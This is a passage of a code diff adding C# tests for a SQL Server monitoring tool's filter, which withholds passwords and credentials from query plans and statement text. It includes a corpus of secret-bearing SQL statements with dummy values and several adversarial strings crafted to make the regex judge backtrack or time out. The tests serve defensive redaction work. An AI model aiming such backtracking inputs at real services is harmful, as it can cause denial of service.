+        string xml = Plan(Stmt("StmtSimple", text, Col("@1", "N'benign'", "N'Server=h;PWD=rt3'")));
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.NotSame(xml, result);
+        Assert.DoesNotContain("rt3", result);
+        Assert.Equal(new[] { P }, Attrs(result!, "ParameterCompiledValue"));
+        Assert.Equal(new[] { P }, Attrs(result!, "ParameterRuntimeValue"));
+        Assert.Equal(text, OnlyStatementText(result!));
+
+        // both benign (equal, then different): nothing is named and the same instance comes back
+        string same = Plan(Stmt("StmtSimple", text, Col("@1", "N'benign'", "N'benign'")));
+        string differ = Plan(Stmt("StmtSimple", text, Col("@1", "N'benign'", "N'other'")));
+        Assert.Same(same, Run(same));
+        Assert.Same(differ, Run(differ));
+    }
+
+    [Fact]
+    public void AValueWhoseTokenIsNotInTheStatementText_IsJudgedOnItsOwn()
+    {
+        // the stored text is shorter than the statement, so no token puts the value back into the probe
+        const string text = "INSERT [dbo].[cfg] VALUES (";
+        string xml = Plan(Stmt("StmtSimple", text, Col("@1", "N'Server=h;PWD=s7'")));
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.DoesNotContain("s7", result);
+        Assert.Equal(new[] { P }, Attrs(result!, "ParameterCompiledValue"));
+        Assert.Equal(text, OnlyStatementText(result!));
+
+        // a plain value, and an application-named parameter, name nothing
+        string plain = Plan(Stmt("StmtSimple", text, Col("@1", "N'plain'")));
+        string appNamed = Plan(Stmt("StmtSimple", text, Col("@pwd", "N'Server=h;PWD=s7'")));
+        Assert.Same(plain, Run(plain));
+        Assert.Same(appNamed, Run(appNamed));
+    }
+
+
+    [Fact]
+    public void ElementFormParameterizedText_NamedStatementIsWithheld_EvenAfterAnEarlierHit()
+    {
+        // Statement 1 is named by its own text (the first hit); statement 2 only by an element-form ParameterizedText,
+        // which pass 2 reads after the start tag, so pass 1 has to record it.
+        var first = Stmt("StmtSimple", "UPDATE [dbo].[t] SET password = N'S3cret-one'", Col("@1", "N'a'"));
+        var second = Stmt("StmtSimple", "SELECT 1", Col("@1", "N'keep-or-withhold'"));
+        second.Element(Ns + "QueryPlan")!.AddFirst(new XElement(Ns + "ParameterizedText",
+            "(@1 nvarchar(50))UPDATE [dbo].[t] SET [password] = N'S3cret-two'"));
+        string xml = Plan(first, second);
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.Equal(new[] { P, P }, Attrs(result!, "ParameterCompiledValue"));
+        Assert.DoesNotContain("S3cret-two", result);
+    }
+
+    // ── the captured fixtures: what SQL Server stored on a real instance ──
+
+    [Theory]
+    [InlineData("autoparam_update_prepared.xml")]
+    [InlineData("autoparam_select_prepared.xml")]
+    public void CapturedPreparedPlan_WithholdsTheLiteral_AndKeepsTheStatementText(string file)
+    {
+        string xml = Fixture(file);
+        string original = OnlyStatementText(xml);
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.NotSame(xml, result);
+        Assert.DoesNotContain("S3cret-fixture", result);
+        Assert.Equal(original, OnlyStatementText(result!));
+        Assert.All(Attrs(result!, "ParameterCompiledValue"), v => Assert.Equal(P, v));
+        Assert.NotEmpty(Attrs(result!, "ParameterCompiledValue"));
+    }
+
+    [Theory]
+    [InlineData("autoparam_update_adhoc_shell.xml")]
+    [InlineData("autoparam_select_adhoc_shell.xml")]
+    public void CapturedAdhocShell_WithholdsItsLiteralStatementText_AndItsParameterizedTextAttribute(string file)
+    {
+        string xml = Fixture(file);
+        Assert.Contains("S3cret-fixture", OnlyStatementText(xml));
+        Assert.Single(Attrs(xml, "ParameterizedText"));
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.Equal(P, OnlyStatementText(result!));
+        Assert.Equal(P, Attrs(result!, "ParameterizedText").Single());
+        Assert.DoesNotContain("S3cret-fixture", result);
+    }
+
+    // ── a plan that does not parse: withheld whole when the probe could have mattered ──
+
+    [Fact]
+    public void CutPreparedPlan_InsideItsParameterList_IsWithheldWhole()
+    {
+        string xml = Fixture("autoparam_update_prepared.xml");
+        int at = xml.IndexOf("ParameterCompiledValue=\"N&apos;S3", StringComparison.Ordinal) + 30;
+        string cut = xml.Substring(0, at);
+
+        // the judge alone names nothing in the cut text (the stored text is [password] = @1)
+        Assert.False(StandIn(System.Net.WebUtility.HtmlDecode(cut)));
+        Assert.Equal(P, Run(cut));
+    }
+
+    [Fact]
+    public void CutPlan_WithNoToken_TakesTheWholeTextPath()
+    {
+        const string plain = "<ShowPlanXML><StmtSimple StatementText=\"SELECT 1 WHERE [x] = 1\" ParameterCompiledValue=\"(5)\"><QueryPlan";
+        const string named = "<ShowPlanXML><StmtSimple StatementText=\"UPDATE t SET password = N'S3cret'\" ParameterCompiledValue=\"(5)\"><QueryPlan";
+
+        Assert.Same(plain, Run(plain));
+        Assert.Equal(P, Run(named));
+    }
+
+    [Fact]
+    public void CutPlan_WithATokenButNoParameterValues_TakesTheWholeTextPath()
+    {
+        string xml = Fixture("autoparam_update_prepared.xml");
+        string cut = xml.Substring(0, xml.IndexOf("<ParameterList>", StringComparison.Ordinal) + 8);
+        Assert.Contains("@1", cut);
+        Assert.DoesNotContain("ParameterCompiledValue", cut);
+        Assert.DoesNotContain("ParameterRuntimeValue", cut);
+
+        // a column the judge does not name: with every token put back as N'?' it still names nothing
+        string neutral = cut.Replace("[password]", "[note]", StringComparison.Ordinal);
+        Assert.Contains("[note] = @1", neutral);
+        Assert.Same(neutral, Run(neutral));
+    }
+
+    [Fact]
+    public void CutPlan_WithATokenAndNoParameterValues_IsJudgedWithTheTokensPutBackAsAPlaceholderValue()
+    {
+        // The stored text names nothing on its own (set [password] = @1); the parsed twin judges
+        // set [password] = N'?', names it, and withholds the statement's residual literals. The cut text has no
+        // parameter value to put back, but the same judgment applies.
+        string xml = Fixture("autoparam_update_prepared.xml");
+        string cut = xml.Substring(0, xml.IndexOf("<ParameterList>", StringComparison.Ordinal) + 8);
+        Assert.Contains("[password] = @1", cut);
+        Assert.False(StandIn(System.Net.WebUtility.HtmlDecode(cut)));
+        Assert.Equal(P, Run(cut));
+
+        const string issue = "<ShowPlanXML><StmtSimple StatementText=\"UPDATE [t] set [password] = @1 WHERE [note] LIKE N&apos;%abc%&apos;\"";
+        Assert.Equal(P, Run(issue));
+    }
+
+    // ── measurements: the walk's cost with the probe (printed; the ceilings are loose) ──
+
+    private const string FillerRelOp =
+        "<RelOp NodeId=\"1\" PhysicalOp=\"Clustered Index Seek\" LogicalOp=\"Clustered Index Seek\" EstimateRows=\"1\" EstimatedTotalSubtreeCost=\"0.0032\" Parallel=\"0\"><OutputList><ColumnReference Database=\"[db]\" Schema=\"[dbo]\" Table=\"[t]\" Column=\"c1\"/></OutputList><IndexScan Ordered=\"1\"><Object Database=\"[db]\" Schema=\"[dbo]\" Table=\"[t]\" Index=\"[pk]\"/></IndexScan></RelOp>";
+
+    private static string BigPlan(int targetChars, string firstStatementText, string? firstCompiled, bool tokensInRest)
+    {
+        var sb = new StringBuilder(targetChars + 4096);
+        sb.Append("<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>");
+        int n = 0;
+        while (sb.Length < targetChars)
+        {
+            string text = n == 0 ? firstStatementText
+                : tokensInRest ? "(@1 nvarchar(50))SELECT [c] FROM [dbo].[t] WHERE [name]=@1" : "SELECT [c] FROM [dbo].[t] WHERE [name] = 1";
+            string? compiled = n == 0 ? firstCompiled : tokensInRest ? "N'plain-value'" : null;
+            sb.Append("<StmtSimple StatementText=\"").Append(text).Append("\" StatementId=\"").Append(++n).Append("\"><QueryPlan>");
+            for (int i = 0; i < 20; i++)
+                sb.Append(FillerRelOp);
+            if (compiled is not null)
+                sb.Append("<ParameterList><ColumnReference Column=\"@1\" ParameterCompiledValue=\"").Append(compiled).Append("\"/></ParameterList>");
+            sb.Append("</QueryPlan></StmtSimple>\n");
+        }
+        sb.Append("</Statements></Batch></BatchSequence></ShowPlanXML>");
+        return sb.ToString();
+    }
+
+    private (long Ms, long Bytes, string? Result) Measure(string label, string xml, int max)
+    {
+        // the judge matches the earlier walk measurements (a plain substring test), so the numbers compare
+        Func<string, bool> substring = s => s.Contains("CANARY", StringComparison.OrdinalIgnoreCase);
+        GC.Collect();
+        long before = GC.GetAllocatedBytesForCurrentThread();
+        var sw = Stopwatch.StartNew();
+        string? result = SensitiveStatements.XmlCore(xml, substring, () => false, P, null, max);
+        sw.Stop();
+        long bytes = GC.GetAllocatedBytesForCurrentThread() - before;
+        string line = string.Create(CultureInfo.InvariantCulture,
+            $"SSF-L2B-MEASURE {label}: {xml.Length / 1_000_000.0:F1} M chars, {sw.ElapsedMilliseconds} ms, {bytes / 1_048_576.0:F1} MB allocated, {xml.Length / 1_000_000.0 / Math.Max(sw.Elapsed.TotalSeconds, 0.0001):F0} M chars/s");
+        _output.WriteLine(line);
+        TestContext.Current.SendDiagnosticMessage(line);
+        return (sw.ElapsedMilliseconds, bytes, result);
+    }
+
+    /// <summary>
+    /// The fastest of <paramref name="runs"/> runs of <see cref="Measure"/> on the same document (#5561). A busy machine only
+    /// ever adds time, so the minimum is the run it touched least: one stalled run (8 s on a shared runner for a walk that
+    /// takes 0.6 s) no longer fails a pin whose purpose is the walk's cost, while a walk that is really slow is slow in every
+    /// run and still fails. The bytes are the smallest too, and the result is the last run's.
+    /// </summary>
+    private (long Ms, long Bytes, string? Result) FastestOf(int runs, string label, string xml, int max)
+    {
+        long bestMs = long.MaxValue;
+        long bestBytes = long.MaxValue;
+        string? result = null;
+        for (int run = 0; run < runs; run++)
+        {
+            var m = Measure(label, xml, max);
+            bestMs = Math.Min(bestMs, m.Ms);
+            bestBytes = Math.Min(bestBytes, m.Bytes);
+            result = m.Result;
+        }
+
+        return (bestMs, bestBytes, result);
+    }
+
+    [Fact]
+    public void Measure_PassOne_27MbPlan_NoHit_AndWithAThousandAutoParameterizedStatements()
+    {
+        string plain = BigPlan(27_000_000, "SELECT [c] FROM [dbo].[t] WHERE [name] = 1", null, tokensInRest: false);
+        // fastest of three (#5561): the ceiling below is the walk's cost, not the worst stall a shared runner dealt it
+        var noToken = FastestOf(3, "27 MB no hit, no token", plain, int.MaxValue);
+        Assert.Same(plain, noToken.Result);
+
+        // the same shape with a token and a ParameterList in every statement
+        string tokens = BigPlan(27_000_000, "(@1 nvarchar(50))SELECT [c] FROM [dbo].[t] WHERE [name]=@1", "N'plain-value'", tokensInRest: true);
+        var withTokens = FastestOf(3, "27 MB no hit, token in every statement", tokens, int.MaxValue);
+        Assert.Same(tokens, withTokens.Result);
+
+        // probe cost per 1,000 statements: a plan of just 1,000 statements, with and without the tokens
+        string thousandPlain = BigPlan(1000 * (FillerRelOp.Length * 20 + 130), "SELECT 1", null, tokensInRest: false);
+        string thousandTokens = BigPlan(1000 * (FillerRelOp.Length * 20 + 230), "(@1 nvarchar(50))SELECT 1 WHERE [x]=@1", "N'plain-value'", tokensInRest: true);
+        int statements = Regex.Matches(thousandTokens, "<StmtSimple ").Count;
+        for (int warm = 0; warm < 2; warm++)
+        {
+            Measure("1,000 statements, no token", thousandPlain, int.MaxValue);
+            Measure($"{statements} statements, a token each", thousandTokens, int.MaxValue);
+        }
+
+        Assert.True(noToken.Ms < 5_000 && withTokens.Ms < 5_000);
+    }
+
+    [Fact]
+    public void Measure_20MbPlan_WithACut_ThreeShapes_StayUnderTheCeilings()
+    {
+        const int Max = 512_000;
+        string hitFirst = BigPlan(20_000_000, "UPDATE [dbo].[t] SET [c] = 'CANARY'", null, tokensInRest: false);
+        string noHit = BigPlan(20_000_000, "SELECT [c] FROM [dbo].[t] WHERE [name] = 1", null, tokensInRest: false);
+        string probeFirst = BigPlan(20_000_000, "(@1 nvarchar(50))UPDATE [dbo].[t] SET [c]=@1", "N'CANARY'", tokensInRest: true);
+
+        foreach (var (label, xml) in new[] { ("20 MB hit in the first statement", hitFirst), ("20 MB no hit", noHit), ("20 MB probe hit in the first statement", probeFirst) })
+        {
+            Measure(label, xml, Max); // the warm-up pass
+            // fastest of three warm passes (#5561): the same 500 ms, judged on the pass a busy machine touched least
+            var m = FastestOf(3, label, xml, Max);
+            Assert.True(m.Ms < 500, $"{label}: {m.Ms} ms");
+            Assert.True(m.Bytes < 32L * 1024 * 1024, $"{label}: {m.Bytes} bytes");
+        }
+        Assert.Contains(PText, Measure("check", probeFirst, Max).Result);
+    }
+
+    // ── L2f: review round 2 (the statement filter, comments and edges) ──
+
+    private const string ShowplanOpen =
+        "<ShowPlanXML xmlns=\"http://schemas.microsoft.com/sqlserver/2004/07/showplan\"><BatchSequence><Batch><Statements>";
+    private const string ShowplanClose = "</Statements></Batch></BatchSequence></ShowPlanXML>";
+
+    // needs the real value: neither the stored text (a token) nor the placeholder value (N'?') names it
+    private static bool NeedsTheRealValue(string s) =>
+        s.Contains("password", StringComparison.Ordinal) && s.Contains("S3cretSt", StringComparison.Ordinal);
+
+    [Fact]
+    public void AnElementThatIsNotAStmtButCarriesAStatementText_DoesNotTakeTheParameterValuesBelowIt()
+    {
+        string xml = ShowplanOpen
+            + "<StmtSimple StatementId=\"1\" StatementText=\"UPDATE [dbo].[u] set [password] = @1\"><QueryPlan>"
+            + "<Foo StatementText=\"x\"><ParameterList><ColumnReference Column=\"@1\" ParameterCompiledValue=\"N&apos;S3cretSt&apos;\"/></ParameterList></Foo>"
+            + "</QueryPlan></StmtSimple>" + ShowplanClose;
+
+        string? result = Run(xml, NeedsTheRealValue);
+
+        Assert.NotNull(result);
+        Assert.DoesNotContain("S3cretSt", result);
+    }
+
+    [Fact]
+    public void AStatementElementWithNoStatementText_HasItsAutoParameterValuesJudged()
+    {
+        string xml = ShowplanOpen
+            + "<StmtSimple StatementId=\"1\"><QueryPlan><ParameterList>"
+            + "<ColumnReference Column=\"@1\" ParameterCompiledValue=\"N&apos;Server=h;PWD=nt&apos;\"/></ParameterList></QueryPlan></StmtSimple>"
+            + ShowplanClose;
+
+        string? result = Run(xml);
+
+        Assert.NotNull(result);
+        Assert.DoesNotContain("PWD=nt", result);
+    }
+
+    [Theory]
+    [InlineData("&#64;")]
+    [InlineData("&#064;")]
+    [InlineData("&#x40;")]
+    [InlineData("&#x0040;")]
+    public void AZeroPaddedCharacterReferenceForTheAtSign_StillBuildsTheProbe(string at)
+    {
+        string xml = ShowplanOpen
+            + "<StmtSimple StatementId=\"1\" StatementText=\"UPDATE [dbo].[u] set [password] = " + at + "1\"><QueryPlan>"
+            + "<ParameterList><ColumnReference Column=\"" + at + "1\" ParameterCompiledValue=\"N&apos;S3cretSt&apos;\"/></ParameterList>"
+            + "</QueryPlan></StmtSimple>" + ShowplanClose;
+
+        string? result = Run(xml, NeedsTheRealValue);
+
+        Assert.NotNull(result);
+        Assert.DoesNotContain("S3cretSt", result);
+    }
+
+    [Fact]
+    public void ANestedPlanInAnEdcShowplanXmlAttribute_IsJudgedAsAPlan()
+    {
+        const string nested = "&lt;ShowPlanXML&gt;&lt;StmtSimple StatementText=&quot;ALTER LOGIN x WITH PASSWORD = &amp;apos;edc1&amp;apos;&quot;/&gt;&lt;/ShowPlanXML&gt;";
+        string outside = "<r><ExternalDistributedComputation EdcShowplanXml=\"" + nested + "\"/></r>";
+        // the same nested plan inside a withheld statement
+        const string nestedWhere = "&lt;ShowPlanXML&gt;&lt;StmtSimple StatementText=&quot;SELECT 1 WHERE c = &amp;apos;edc2&amp;apos;&quot;/&gt;&lt;/ShowPlanXML&gt;";
+        string inside = ShowplanOpen + "<StmtSimple StatementId=\"1\" StatementText=\"CANARY x\"><QueryPlan>"
+            + "<ExternalDistributedComputation EdcShowplanXml=\"" + nestedWhere + "\"/></QueryPlan></StmtSimple>" + ShowplanClose;
+
+        string? a = Run(outside, CanaryOrStandIn);
+        string? b = Run(inside, CanaryOrStandIn);
+
+        Assert.NotNull(a);
+        Assert.NotNull(b);
+        Assert.DoesNotContain("edc1", a);
+        Assert.DoesNotContain("edc2", b);
+    }
+
+    // ── L2g: a plan nested in an EdcShowplanXml attribute is judged one level deep (#5320) ──
+
+    /// <summary><paramref name="s"/> escaped <paramref name="times"/> times as attribute text, written directly
+    /// (an entity escaped k times is <c>&amp;</c>, <c>amp;</c> k-1 times, then its name).</summary>
+    private static void AppendEscaped(StringBuilder sb, string s, int times)
+    {
+        foreach (char c in s)
+        {
+            string? name = c switch { '<' => "lt;", '>' => "gt;", '"' => "quot;", '&' => "amp;", _ => null };
+            if (name is null || times == 0)
+            {
+                sb.Append(c);
+                continue;
+            }
+            sb.Append('&');
+            for (int i = 1; i < times; i++)
+                sb.Append("amp;");
+            sb.Append(name);
+        }
+    }
+
+    /// <summary>A document holding <paramref name="levels"/> plans, each in the <c>EdcShowplanXml</c> attribute of
+    /// the one above, with <paramref name="innermost"/> at the bottom.</summary>
+    private static string NestedPlans(int levels, string innermost)
+    {
+        const string open = "<a EdcShowplanXml=\"";
+        const string close = "\"/>";
+        var sb = new StringBuilder();
+        for (int j = 0; j < levels; j++)
+            AppendEscaped(sb, open, j);
+        AppendEscaped(sb, innermost, levels);
+        for (int j = levels - 1; j >= 0; j--)
+            AppendEscaped(sb, close, j);
+        return sb.ToString();
+    }
+
+    /// <summary>The <c>EdcShowplanXml</c> value of the plan held in the top document's own <c>EdcShowplanXml</c>:
+    /// the level-2 attribute.</summary>
+    private static string LevelTwoAttribute(string result)
+    {
+        string level1 = (string)XElement.Parse(result).Attribute("EdcShowplanXml")!;
+        return (string)XElement.Parse(level1).Attribute("EdcShowplanXml")!;
+    }
+
+    [Fact]
+    public void ANestedPlanTwoLevelsDeep_IsWithheldEvenWhenItHoldsOnlyOrdinaryText()
+    {
+        string xml = NestedPlans(2, "<Plain>lvl2plain</Plain>");
+
+        string? result = Run(xml, CanaryOrStandIn);
+
+        Assert.NotNull(result);
+        Assert.DoesNotContain("lvl2plain", result);
+        Assert.Equal(P, LevelTwoAttribute(result));
+    }
+
+    [Fact]
+    public void ANestedPlanOneLevelDeep_HoldingOnlyOrdinaryText_IsKeptAsTheSameInstance()
+    {
+        string xml = NestedPlans(1, "<Plain>lvl1plain</Plain>");
+
+        string? result = Run(xml, CanaryOrStandIn);
+
+        Assert.Same(xml, result);
+    }
+
+    [Fact]
+    public void ADeeplyNestedPlan_ReturnsWithoutOverflowingTheStack_AndIsWithheldPastTheFirstLevel()
+    {
+        string xml = NestedPlans(2000, "<Plain>deepplain</Plain>");
+
+        // a cheap judge: this pins the walk, not the pattern. The document is 32 MB (escaping makes the size grow with
+        // the square of the depth) and each scan of it costs about half a second, so the bound is a hang guard, not a speed pin.
+        var timer = Stopwatch.StartNew();
+        string? result = Run(xml, v => v.Contains("CANARY", StringComparison.Ordinal));
+        timer.Stop();
+
+        Assert.NotNull(result);
+        Assert.DoesNotContain("deepplain", result);
+        Assert.Equal(P, LevelTwoAttribute(result));
+        Assert.True(timer.Elapsed < TimeSpan.FromSeconds(10), $"took {timer.Elapsed.TotalMilliseconds:F0} ms; size {xml.Length}");
+    }
+}
diff --git a/Darling/Darling.Tests/SensitiveStatementCorpus.cs b/Darling/Darling.Tests/SensitiveStatementCorpus.cs
new file mode 100644
index 0000000000..8b36ce1d8d
--- /dev/null
+++ b/Darling/Darling.Tests/SensitiveStatementCorpus.cs
@@ -0,0 +1,165 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System.Linq;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The statement corpus shared by the .NET evaluation tests and the PostgreSQL parity test (#4348): what the
+/// filter names, what it leaves alone, and the two strings only the .NET engine bounds with a time limit.
+/// </summary>
+internal static class SensitiveStatementCorpus
+{
+    /// <summary>Statements the filter must name. Each is also judged lower-cased and with a leading block
+    /// comment (<see cref="Variants"/>).</summary>
+    public static readonly string[] Named =
+    {
+        "CREATE LOGIN [app] WITH PASSWORD = N'S3cret'",
+        "ALTER LOGIN [app] WITH PASSWORD = 0x0200AB HASHED",
+        "ALTER LOGIN [app] DISABLE",
+        "CREATE/* x */LOGIN [a] WITH PASSWORD = 'p'",
+        "CREATE\r\nLOGIN [a] FROM WINDOWS",
+        "EXEC sp_addlogin 'app', 'S3cret'",
+        "EXEC master..sp_password NULL, 'S3cret', 'app'",
+        "EXEC sp_addlinkedsrvlogin 'SRV', 'false', NULL, 'u', 'S3cret'",
+        "EXEC sp_setapprole 'r', 'S3cret'",
+        "OPEN SYMMETRIC KEY k DECRYPTION BY PASSWORD = 'S3cret'",
+        "OPEN MASTER KEY DECRYPTION BY PASSWORD = N'S3cret'",
+        "CREATE MASTER KEY ENCRYPTION BY PASSWORD = N'S3cret'",
+        "CREATE CREDENTIAL c WITH IDENTITY = 'u', SECRET = 'S3cret'",
+        "CREATE DATABASE SCOPED CREDENTIAL c WITH IDENTITY = 'SHARED ACCESS SIGNATURE', SECRET = 'sv=1&sig=x'",
+        "BACKUP CERTIFICATE c TO FILE = 'f' WITH PRIVATE KEY (FILE = 'k', ENCRYPTION BY PASSWORD = 'S3cret')",
+        "RESTORE DATABASE d FROM DISK = 'f' WITH MEDIAPASSWORD = 'S3cret'",
+        "CREATE SYMMETRIC KEY k WITH KEY_SOURCE = 'phrase', ALGORITHM = AES_256 ENCRYPTION BY CERTIFICATE c",
+        "SELECT * FROM OPENROWSET('MSOLEDBSQL', 'Server=h;UID=u;PWD=S3cret;', 'SELECT 1')",
+        "SELECT * FROM OPENDATASOURCE('MSOLEDBSQL', 'Data Source=h;User ID=u;Pwd=S3cret').db.dbo.t",
+        "EXEC sp_addlinkedserver @server = 'S', @provider = 'MSOLEDBSQL', @provstr = 'UID=u;PWD=S3cret'",
+        "EXEC sp_addpushsubscription_agent @publication = N'p', @job_password = N'S3cret'",
+        "ALTER SERVICE MASTER KEY WITH OLD_ACCOUNT = 'a', OLD_PASSWORD = 'S3cret'",
+        "ALTER APPLICATION ROLE r WITH PASSWORD = N'S3cret'",
+        "SELECT DECRYPTBYPASSPHRASE('phrase', @c)",
+        "exec sp_executesql N'UPDATE dbo.t SET c = @pwd', N'@pwd nvarchar(50)', @pwd = N'S3cret'",
+        "UPDATE dbo.Creds SET [password] = N'S3cret'",
+        "UPDATE t SET \"password\" = 'S3cret'",
+        "UPDATE dbo.Users SET pwd = N'S3cret' WHERE id = 7",
+        "UPDATE dbo.Users SET password = @p",
+        "SELECT 1 WHERE client_secret = 'S3cret'",
+
+        // a typed declaration of a password variable (#5320): the name, a type with an optional length, then the literal
+        "DECLARE @mypassword nvarchar(20) = N'S3cret'",
+        "DECLARE @pwd varchar(max) = 'S3cret'",
+        "DECLARE @secret sysname = N'S3cret'",
+        "DECLARE @a int = 1, @pwd varchar(10) = 'S3cret'",
+        "DECLARE @a int = 1, @b nvarchar(20) = N'x', @db_passwd nvarchar(20) = N'S3cret', @c int",
+        "DECLARE @mypassword varbinary(64) = 0x0200AB",
+        "DECLARE @mypassword AS nvarchar(20) = N'S3cret'",
+        "DECLARE @mypassword [nvarchar](20) = N'S3cret'",
+        "DECLARE @mypassword sys.sysname = N'S3cret'",
+        "DECLARE @mypassword nvarchar (20) = N'S3cret'",
+        "DECLARE @mypassword decimal(10, 2) = N'S3cret'",
+        "DECLARE @pwd nvarchar(20) /* x */ = -- y\r\n N'S3cret'",
+        "CREATE PROCEDURE dbo.p @password nvarchar(20) = N'S3cret' AS SELECT 1",
+        "exec sp_executesql N'SELECT 1', N'@password nvarchar(20) = N''S3cret'''",
+        "DECLARE pwd text := 'secret-x'; BEGIN NULL; END",
+        "DECLARE db_secret varchar(20) = 'secret-x'",
+        "DECLARE api_secret constant text := e'secret-x'",
+        "DECLARE pwd text DEFAULT 'secret-x'",
+        "DECLARE pwd text := $q$secret-x$q$",
+
+        // the typed declaration names exactly T3's name set, key_source included (#5320 L1)
+        "DECLARE @key_source nvarchar(100) = N'S3cret'",
+        "DECLARE key_source text := 'secret-x'",
+        "CREATE PROCEDURE dbo.p @key_source varchar(50) = 'S3cret' AS SELECT 1",
+
+        // the PostgreSQL forms
+        "ALTER ROLE app PASSWORD 'secret-x'",
+        "CREATE ROLE r LOGIN PASSWORD 'secret-x'",
+        "CREATE USER MAPPING FOR u SERVER s OPTIONS (user 'u', password 'secret-x')",
+        "ALTER SYSTEM SET primary_conninfo = 'host=h password=secret-x'",
+        "CREATE SUBSCRIPTION sub CONNECTION 'host=h password=secret-x' PUBLICATION p",
+        "ALTER ROLE app SET work_mem = '64MB'",
+        "CREATE USER MAPPING FOR u SERVER s OPTIONS (user 'u', secret_access_key 'secret-x')",
+        "ALTER SERVER s OPTIONS (ADD token 'secret-x')",
+        "CREATE SERVER s FOREIGN DATA WRAPPER w OPTIONS (api_key 'secret-x')",
+    };
+
+    /// <summary>Statements the filter must leave alone.</summary>
+    public static readonly string[] NotNamed =
+    {
+        "SELECT name FROM sys.sql_logins",
+        "EXECUTE AS LOGIN = N'app'",
+        "SELECT * FROM dbo.Users WHERE PasswordHash = @h",
+        "UPDATE dbo.Users SET PasswordHash = HASHBYTES('SHA2_256', @p)",
+        "SELECT * FROM OPENROWSET(BULK N'f.json', SINGLE_CLOB) AS j",
+        "EXEC sp_helplogins",
+        "SELECT secret_id FROM dbo.t WHERE secret_id = 5",
+        "SELECT * FROM t WHERE pwd = @p",
+        "SELECT * FROM t WHERE pwd = $1",
+
+        // typed declarations that carry no literal, and neighbours of the typed-declaration shape (#5320)
+        "DECLARE @password nvarchar(20) = @p",
+        "DECLARE @mypassword nvarchar(20)",
+        "DECLARE pwd text := $1",
+        "CREATE PROCEDURE dbo.p @password nvarchar(20) = NULL AS SELECT 1",
+        "CREATE TABLE dbo.u (id int, password_hash varbinary(64) NOT NULL)",
+        "SELECT * FROM t WHERE pwd_len int",
+        "DECLARE @pwd_len int = 8",
+        "DECLARE @pwd int = 8",
+        "DECLARE @mykey_source nvarchar(100) = N'x'",
+        "DECLARE @key_sources nvarchar(100) = N'x'",
+        "SELECT password varchar FROM t WHERE x = 'a'",
+        "SELECT * FROM t WHERE is_secret AND state = 'x'",
+        "SELECT [password] FROM t",
+        "SET password_encryption = 'scram-sha-256'",
+        "ALTER INDEX ix ON dbo.t REBUILD",
+        "BACKUP DATABASE d TO URL = 'https://storage.example/c/d.bak' WITH CREDENTIAL = 'cred'",
+        "ALTER AVAILABILITY GROUP ag FAILOVER",
+
+        // the PostgreSQL neighbours
+        "SELECT * FROM t WHERE password_changed_at > $1",
+        "SET work_mem = '64MB'",
+        "SELECT rolname FROM pg_roles",
+        "SELECT 1",
+        "CREATE TABLE passwords (id int)",
+    };
+
+    /// <summary>The strings the plan once expected the .NET judge to time out on: many comment tokens after a
+    /// keyword. The linear-time pre-check (#5320) now answers Clean for them, as PostgreSQL does. They are not
+    /// part of the parity set, because the full .NET judge alone still backtracks on them.</summary>
+    public static readonly string[] Adversarial =
+    {
+        "create" + string.Concat(Enumerable.Repeat(" --", 40)) + "x",
+        "password" + string.Concat(Enumerable.Repeat(" --", 40)) + "x",
+    };
+
+    /// <summary>Strings aimed at the typed-declaration alternative (#5320): a password word, then many comment
+    /// tokens, a type and a long length part, but no literal. The pre-check answers Clean for each of them. Kept
+    /// apart from <see cref="Adversarial"/>, which the output-filter tests prefix with a pre-check hit so the
+    /// full judge runs and times out; these do not make the full judge slow.</summary>
+    public static readonly string[] TypedDeclarationAdversarial =
+    {
+        "pwd" + string.Concat(Enumerable.Repeat(" --", 40)) + " nvarchar(20) = x",
+        "secret" + string.Concat(Enumerable.Repeat(" /* c */", 40)) + " text :",
+        "pwd varchar(" + new string(' ', 100_000) + "x",
+        "declare @pwd " + string.Concat(Enumerable.Repeat("nvarchar ", 5_000)) + "= @p",
+    };
+
+    /// <summary>A typed secret-named variable followed by a long dash banner, in a value where another part passes
+    /// the pre-check (<c>hashed_pwd = HASHBYTES(1, @p)</c> has no word start, so only the pre-check's superset hits
+    /// it, and the full judge then runs). The typed-declaration alternative backtracks on the run of dashes (the known
+    /// comment-run case, #5320 L2), so the .NET judge answers TimedOut, which counts as named, while PostgreSQL
+    /// answers Clean. It errs toward withholding. Not part of the parity set; the tests pin both answers.</summary>
+    public static readonly string[] NamedByTimeoutInDotNetOnly =
+    {
+        "UPDATE u SET hashed_pwd = HASHBYTES(1, @p); DECLARE @pwd nvarchar(20) " + new string('-', 60) + "\nSELECT 1",
+    };
+
+    /// <summary>A named statement as written, lower-cased, and with a leading block comment.</summary>
+    public static string[] Variants(string text) => new[] { text, text.ToLowerInvariant(), "/* c */ " + text };
+}
diff --git a/Darling/Darling.Tests/SensitiveStatementHostFilterTests.cs b/Darling/Darling.Tests/SensitiveStatementHostFilterTests.cs
new file mode 100644
index 0000000000..2d4480bed3
--- /dev/null
+++ b/Darling/Darling.Tests/SensitiveStatementHostFilterTests.cs
@@ -0,0 +1,314 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading.Tasks;
+using Microsoft.Extensions.DependencyInjection;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// #4348: the statement filter as the Darling host REGISTERS it. <see cref="SensitiveStatementOutputFilterTests"/>
+/// runs the filter alone around a fake tool; these run the host's real filter list (the unknown-argument guard, the
+/// latency filter, GCF, the statement filter) through a real server, with and without
